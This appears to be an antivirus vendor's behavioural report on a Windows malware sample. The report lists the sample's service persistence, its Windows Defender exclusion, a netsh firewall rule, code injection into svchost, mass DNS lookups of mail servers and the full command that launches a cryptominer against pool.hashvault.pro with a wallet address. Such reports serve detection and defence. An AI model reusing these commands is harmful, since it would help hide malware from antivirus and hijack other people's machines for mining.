Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\zidyyten] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\zidyyten] 'ImagePath' = '%WINDIR%\SysWOW64\zidyyten\ofbizycg.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\zidyyten] 'ImagePath' = '%WINDIR%\SysWOW64\zidyyten\ofbizycg.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\zidyyten' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\ofbizycg.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\ofbizycg.exe to %WINDIR%\syswow64\zidyyten\ofbizycg.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://www.google.com/
- http://ap#.#pify.org/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK le##p.ch
- DNS ASK ma##.#osting-ch.ch
- DNS ASK ti#.ch
- DNS ASK ma###w2.usb.ch
- DNS ASK fp###asel.ch
- DNS ASK si#l.ch
- DNS ASK mx#.epfl.ch
- DNS ASK ep#l.ch
- DNS ASK ms#####.##c.protection.outlook.com
- DNS ASK ms#.com
- DNS ASK we######r-pass.werthanor.ch
- DNS ASK we###anor.ch
- DNS ASK mx#.###l.hostpoint.ch
- DNS ASK hu#####rchitects.co.uk
- DNS ASK ho##er.ch
- DNS ASK ig.#om.br
- DNS ASK sr###.hli.ch
- DNS ASK se#z.ch
- DNS ASK mx##.dpd.ch
- DNS ASK dp#.ch
- DNS ASK hu###sauto.biz
- DNS ASK ui#a.ch
- DNS ASK mx##.####security.swisscom.com
- DNS ASK me##ag.ch
- DNS ASK mx.##chtle.com
- DNS ASK so####olutions.ch
- DNS ASK in##rmag.ch
- DNS ASK co##ex.ch
- DNS ASK mx#.##.correio.biz
- DNS ASK alt1.aspmx.l.google.com
- DNS ASK ma#####.#etraitespopulaires.ch
- DNS ASK ds####lx.itg.ti.com
- DNS ASK mx#######a02.gslb.pphosted.com
- DNS ASK ge.com
- DNS ASK mx.#im.it
- DNS ASK ti#.it
- DNS ASK mx#######f01.gslb.pphosted.com
- DNS ASK ha###burton.com
- DNS ASK mx#######401.gslb.pphosted.com
- DNS ASK ga##leo.com
- DNS ASK dl##1.it
- DNS ASK mx.###braopen.it
- DNS ASK co####.lugo.ra.it
- DNS ASK dl##ail.it
- DNS ASK mx#######f02.gslb.pphosted.com
- DNS ASK mx.##l.com.br
- DNS ASK uo#.com.br
- DNS ASK dm###.itg.ti.com
- DNS ASK mx#.vtx.ch
- DNS ASK ni##o.ch
- DNS ASK si##.fvg.it
- DNS ASK va##nti.ch
- DNS ASK pa###people.ch
- DNS ASK im###treet.ch
- DNS ASK as#####20.oracle.com
- DNS ASK or##le.com
- DNS ASK mx#.mail.ru
- DNS ASK in##x.ru
- DNS ASK mx#######701.gslb.pphosted.com
- DNS ASK cg#.com
- DNS ASK pf##er.com
- DNS ASK mx#####.ppe-hosted.com
- DNS ASK hu#####ndcoleman.com
- DNS ASK hs#.edu
- DNS ASK mx##.#nicredit.eu
- DNS ASK bi##p.it
- DNS ASK mx##.#b.bluewin.ch
- DNS ASK bl##win.ch
- DNS ASK li#.#ishyes.net
- DNS ASK la##q.com
- DNS ASK mx#.#omcast.net
- DNS ASK co##ast.net
- DNS ASK cl#######.us.messagelabs.com
- DNS ASK we###fargo.com
- DNS ASK lo###rdiacom.it
- DNS ASK h8.#ta.br
- DNS ASK et###.#ail.tiscali.it
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK ho##ail.de
- DNS ASK po##.#ashvault.pro
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK ya##o.com
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK mx#######201.gslb.pphosted.com
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK ve##zon.com
- DNS ASK alt2.gmail-smtp-in.l.google.com
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK gm##l.com
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK sa####gobain.com
- DNS ASK ti##ali.it
- DNS ASK ma###.#aint-gobain.com
- DNS ASK mx#.#anmail.net
- DNS ASK mo##lco.ch
- DNS ASK ha##ail.net
- DNS ASK google.com
- DNS ASK mx####.##il.gm0.yahoodns.net
- DNS ASK co###serve.com
- DNS ASK sm##.#iberpipe.net
- DNS ASK fi###pipe.net
- DNS ASK mx#######e01.gslb.pphosted.com
- DNS ASK an##em.com
- DNS ASK mx#.######deempresas.telefonica.es
- DNS ASK ca###aser.com
- DNS ASK us#######nbound-2.mimecast.com
- DNS ASK fe###son.com
- DNS ASK mx#.##il.ovh.net
- DNS ASK ma####.gslb.fedex.com
- DNS ASK kl###encor.com
- DNS ASK fe##x.com
- DNS ASK mx#######a01.gslb.pphosted.com
- DNS ASK de##a.com
- DNS ASK mx.##.#tinternet.com
- DNS ASK bt###ernet.com
- DNS ASK to###nseils.ch
- DNS ASK aspmx.l.google.com
- DNS ASK cd##.com
- DNS ASK mx##.#ui-inter.net
- DNS ASK ja##co.ch
- DNS ASK mx.#####ge.telecomitalia.it
- DNS ASK no###arma.it
- DNS ASK mx#######b01.gslb.pphosted.com
- DNS ASK e-##s.com
- DNS ASK fo##tek.nl
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\zidyyten\ofbizycg.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\zidyyten\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ofbizycg.exe" %WINDIR%\SysWOW64\zidyyten\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create zidyyten binPath= "%WINDIR%\SysWOW64\zidyyten\ofbizycg.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description zidyyten "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start zidyyten' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\zidyyten\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ofbizycg.exe" %WINDIR%\SysWOW64\zidyyten\
- '%WINDIR%\syswow64\sc.exe' create zidyyten binPath= "%WINDIR%\SysWOW64\zidyyten\ofbizycg.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description zidyyten "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start zidyyten
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/xhv -o pool.hashvault.pro:80 -u hvs1hBH2qRhZkKfQyujRfXN4wmUM8hM4VQnhn9xUM6NVgAcdnA3dUBh7qqFx38kZTVEbU3tD3jr2aFXwFtwyj3is7hGGAcW1EH.5000 -p с -k
